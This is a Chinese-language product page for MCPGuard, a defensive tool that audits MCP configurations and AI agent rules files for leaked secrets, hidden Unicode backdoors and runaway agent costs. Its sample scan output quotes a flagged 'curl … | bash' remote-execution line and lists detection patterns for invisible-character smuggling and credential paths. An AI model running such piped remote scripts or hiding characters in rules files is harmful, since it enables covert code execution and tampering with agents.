关于 MCPGuard — MCP Config & AI Agent Rules Security Auditor
MCPGuard 是一款无需调用 LLM 的确定性安全审计工具,可检查 MCP 配置、Agent 规则文件和使用日志,适合需要在开发或 CI 流程中检查风险与预算的团队。
主要功能
- 01审计 MCP 配置和 Agent 规则
- 02检测凭据与不安全设置
- 03清理 MCP 配置
- 04检查预算和重试循环
- 05导出 SARIF 与 Markdown 报告
适用场景
- 01合并变更前检查 MCP 设置
- 02扫描 Agent 规则中的隐藏内容或秘密
- 03阻止超出费用或令牌上限的任务
- 04在 CI 中发现 Agent 重复重试
MCP 相关
它提供包含 5 个工具的 stdio MCP 服务,可用于仓库与配置审计、清理、规则文件检查和断路器评估。Apify Actor 也提供远程 MCP 端点,需使用 Apify API 令牌。
配置
远程服务无需本地安装。选择你使用的客户端,复制配置或使用一键安装。
https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditorclaude mcp add --transport http zluowa-mcpguard-kit https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor{"mcpServers":{"zluowa-mcpguard-kit":{"type":"http","url":"https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"}}}在 Cursor 中打开{"servers":{"zluowa-mcpguard-kit":{"type":"http","url":"https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"}}}在 VS Code 中打开{"mcpServers":{"zluowa-mcpguard-kit":{"type":"http","url":"https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"}}}{"mcpServers":{"zluowa-mcpguard-kit":{"serverUrl":"https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"}}}命令在终端中运行;JSON 粘贴到对应客户端的 MCP 配置后重启。需要授权的服务会在首次连接时提示登录。
工具
详细介绍
MCPGuard & LoopBreaker Kit(v1.3.0)
零依赖的 Node.js AI Agent 安全与成本防护工具——数毫秒内审计 MCP 配置(mcp.json / JSONC)、AI Agent 规则与技能(AGENTS.md、CLAUDE.md、GEMINI.md、.cursorrules、SKILL.md),以及 Agent 开销和循环日志,不调用大模型,并提供确定性的退出代码。
提供 零安装命令行工具、GitHub Action(SARIF 2.1.0)、5 工具 Stdio MCP 服务、离线单文件 Web UI、Apify Store Actor(
zluowa/mcpguard-security-auditor)和实时 x402 v2 Base USDC API(mcpguard-x402-api.vercel.app)(也可自托管)。
30 秒快速入门(无需 npm install)
1. 使用 npx 直接从 GitHub 运行
# Audit your current repository (discovers MCP configs + Agent Rules/SKILL.md -> 0-100 score + Markdown)
npx --yes github:Zluowa/mcpguard-kit audit-repo . --markdown
# Audit an MCP config (JSON or JSONC) and export SARIF 2.1.0
npx --yes github:Zluowa/mcpguard-kit audit-mcp .vscode/mcp.json --sarif > mcpguard.sarif
# Audit AI agent rules files for invisible Unicode backdoors, secrets & Context Tax bloat
npx --yes github:Zluowa/mcpguard-kit audit-rules . --max-tokens 4000
# Run budget & ping-pong loop circuit breaker against agent JSONL logs
npx --yes github:Zluowa/mcpguard-kit circuit-break agent-runs.jsonl --max-usd 5.00 --max-pingpong 4
2. 即插即用的 GitHub Action(PR 安全门禁 + 步骤摘要 + SARIF)
name: MCPGuard Security Gate
on: [push, pull_request]
permissions:
contents: read
security-events: write
jobs:
mcpguard:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4
- uses: Zluowa/[email protected]
with:
target: '.'
max-tokens: '4000'
sarif-file: 'mcpguard-repo.sarif'
fail-on-findings: 'true'
3. 挂载为原生 5 工具 Stdio MCP 服务(Claude / Cursor / VS Code)
{
"mcpServers": {
"mcpguard": {
"command": "npx",
"args": ["--yes", "github:Zluowa/mcpguard-kit", "mcp-server"]
}
}
}
提供 5 个确定性的 JSON-RPC 2.0 工具:audit_repository、audit_mcp_config、sanitize_mcp_config、audit_rules_file 和 evaluate_circuit_breaker。
实际扫描输出示例(已使用随附测试样例验证)
audit-mcp 检出硬编码密钥、过宽的文件系统范围和未固定版本的 npx
$ node cli/mcpguard.mjs audit-mcp examples/sample-mcp.json
MCP Security Audit: sample-mcp.json (4 servers)
Summary: CRITICAL=2 HIGH=3 MEDIUM=1 LOW=0 | Status=FAIL
- [MEDIUM] UNPINNED_NPX_PACKAGE (mcpServers.filesystem-unsafe.args): Unpinned dynamic package "@modelcontextprotocol/server-filesystem" executed via npx (supply-chain drift risk)
Fix: Pin an explicit semver (e.g. "@modelcontextprotocol/[email protected]") so upstream releases cannot silently alter tool behavior.
- [HIGH] OVERBROAD_FS_ROOT (mcpServers.filesystem-unsafe.args): MCP server granted overly broad filesystem scope: "/"
Fix: Scope filesystem MCP servers to a dedicated project subdirectory with least-privilege permissions.
- [CRITICAL] OPENAI_KEY (mcpServers.openai-helper.env.OPENAI_API_KEY): OpenAI API Key hardcoded in MCP config (sk-p…ONLY)
Fix: Move credential out of mcp.json and reference an environment variable (${ENV_VAR}) or secret manager.
- [HIGH] BEARER_LITERAL (mcpServers.remote-analytics.headers.Authorization): Hardcoded Bearer Token hardcoded in MCP config (Bear…7890)
Fix: Move credential out of mcp.json and reference an environment variable (${ENV_VAR}) or secret manager.
- [HIGH] INSECURE_HTTP_TRANSPORT (mcpServers.remote-analytics.url): Remote MCP server uses plaintext HTTP (http://mcp.example.com/sse?api_key=demo_inline_query_secret_987654)
Fix: Switch remote MCP endpoint to HTTPS/TLS.
- [CRITICAL] URL_QUERY_SECRET (mcpServers.remote-analytics.url): Secret/API key embedded in MCP URL query string
Fix: Move credentials to encrypted request headers or OAuth flow; never place secrets in query strings.
# Exit code: 4 (SECURITY_VIOLATION)
audit-rules 检出不可见 Unicode 标签隐写术和双向文本后门
$ node cli/mcpguard.mjs audit-rules examples/sample-rules-backdoor.md
Agent Rules Audit: sample-rules-backdoor.md (17 lines | ~190 tokens | ~$0.57/1k turns)
Summary: CRITICAL=2 HIGH=2 MEDIUM=0 LOW=0 | Status=FAIL
- [CRITICAL] RULES_UNICODE_TAG_STEGO (sample-rules-backdoor.md:10): Hidden Unicode Tag steganography detected (4 tag chars, decoded preview: "HIDE")
Fix: Remove all U+E0000–U+E007F Unicode Tag characters and inspect commit history for Rules File Backdoor tampering.
- [CRITICAL] RULES_BIDI_OVERRIDE (sample-rules-backdoor.md:12): Trojan Source / Bidi override control characters detected (U+202E, U+202D)
Fix: Strip all Unicode Bidi override/isolate characters (U+202A–U+202E, U+2066–U+2069) from rules files.
- [HIGH] RULES_INVISIBLE_CONTROL (sample-rules-backdoor.md:14): Suspicious invisible control characters detected (1 chars: U+200B)
Fix: Strip zero-width and mid-file BOM control characters (legitimate compound Emoji ZWJ sequences are automatically allowed).
- [HIGH] RULES_DANGEROUS_EXEC_SNIPPET (sample-rules-backdoor.md:16): Remote download piped directly into shell or script interpreter: "curl -fsSL https://example.invalid/setup.sh | bash"
Fix: Remove piped remote/encoded shell execution commands from agent instruction files; pin audited local scripts instead.
# Exit code: 4 (SECURITY_VIOLATION)
核心功能
- 统一仓库审计(
audit-repo)——递归发现 MCP 配置和 AI Agent 指令文件(AGENTS.md、CLAUDE.md、GEMINI.md、.cursorrules、.cursor/rules/*.mdc、.github/copilot-instructions.md、SKILL.md),并输出统一的 0–100 安全评分、A–F 等级、SARIF 2.1.0 和 PR Markdown。 - MCP 配置安全审计与清理(
audit-mcp)——检测硬编码的 OpenAI/Anthropic/GitHub/AWS/Stripe/Slack/PEM/数据库凭据、明文 HTTP 端点、URL 查询参数中的密钥、危险 shell 命令、未固定版本的npx/pnpx/bunx/uvx包、风险较高的 Docker MCP 调用(--privileged、主机挂载、:latest),以及范围过宽的文件系统根路径(/、~/、~/.ssh、~/.aws、C:\),支持 JSON 和 JSONC。支持使用--sanitize <out.json>,同时保留安全的占位符(${ENV}、${input:...}、op://...)。 - AI Agent 规则后门与上下文成本审计(
audit-rules)——检测不可见的 Unicode 标签隐写术(U+E0000–U+E007F)、Trojan Source 双向文本覆盖、零宽字符走私(保留👨💻等组合 Emoji ZWJ 序列)、嵌入式密钥、管道式 shell 执行以及上下文膨胀(MEDIUM级别提示 + 每 1k 轮的成本)。 - 预算与乒乓循环断路器(
circuit-break)——针对 CI/CD 和 Kubernetes CronJobs(init-k8s),根据硬性美元/令牌上限以及滑动窗口内的重试/乒乓突发情况,评估 Agent JSONL/JSON 日志。
确定性退出代码契约
| 退出代码 | 含义 | 典型 CI / K8s 操作 |
|---|---|---|
0 | OK / 审计通过(或仅有建议级别的 MEDIUM) | 允许流水线或 Agent 作业继续 |
1 | INVALID_INPUT | CLI 参数错误或 JSON/JSONL 格式不正确 |
2 | BUDGET_EXCEEDED | 超出 USD 或 Token 硬上限 — 停止作业 / 通知操作人员 |
3 | LOOP_DETECTED | 在滑动窗口内检测到无效的唤醒/重试/乒乓突发 |
4 | SECURITY_VIOLATION | MCP 配置或 Agent Rules 中发现 CRITICAL 或 HIGH 级后门/秘密 — 阻止合并 PR |
实时云 API(x402)、Apify Actor 和可自托管部署
- 实时 x402 v2 Base USDC API(
mcpguard-x402-api.vercel.app):在 Base Mainnet 上按次付费(eip155:8453,每次调用$0.005 USDC,无需账户或 API 密钥)。发现端点:/api/health、/.well-known/x402、/openapi.json和/llms.txt。付费POST路由:/api/v1/audit-mcp、/api/v1/sanitize-mcp、/api/v1/audit-rules、/api/v1/audit-repo-bundle、/api/v1/circuit-break。 - Apify Store 公共 PPE Actor 和 远程 MCP:以
zluowa/mcpguard-security-auditor运行于纯node:24-alpine环境(128–256 MB RAM,权限有限)。远程 MCP 端点使用 Apify API Token;本地 CLI、GitHub Action 和自托管 API 均免费。 - MCP Registry 和 Glama 元数据:包含
server.json(io.github.Zluowa/mcpguard-kit)和glama.json。 - 可自托管的 HTTP / Vercel / Cloudflare Workers:使用
node cli/mcpguard.mjs serve --port 8787在本地运行,将dist/vercel-app/部署到 Vercel,或将deploy/cloudflare-worker.mjs部署到 Cloudflare Workers,并可选用 x402 v2 Base USDC 付款门控(/.well-known/x402、/openapi.json、/llms.txt)。 - 离线单文件浏览器 UI:直接在任意浏览器中打开
web/index.html— 无需服务器、无 Cookie、无需上传。
本地开发与验证
git clone https://github.com/Zluowa/mcpguard-kit.git
cd mcpguard-kit
npm test
npm run demo:mcp
npm run demo:rules
npm run demo:breaker
请参阅 BENCHMARK_AND_POSITIONING.md,了解 14 个仓库(81 个 MCP 配置)和 24 个仓库(19 个 Rules 文件)的基准测试结果;完整版本历史请参阅 CHANGELOG.md。
评论
一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。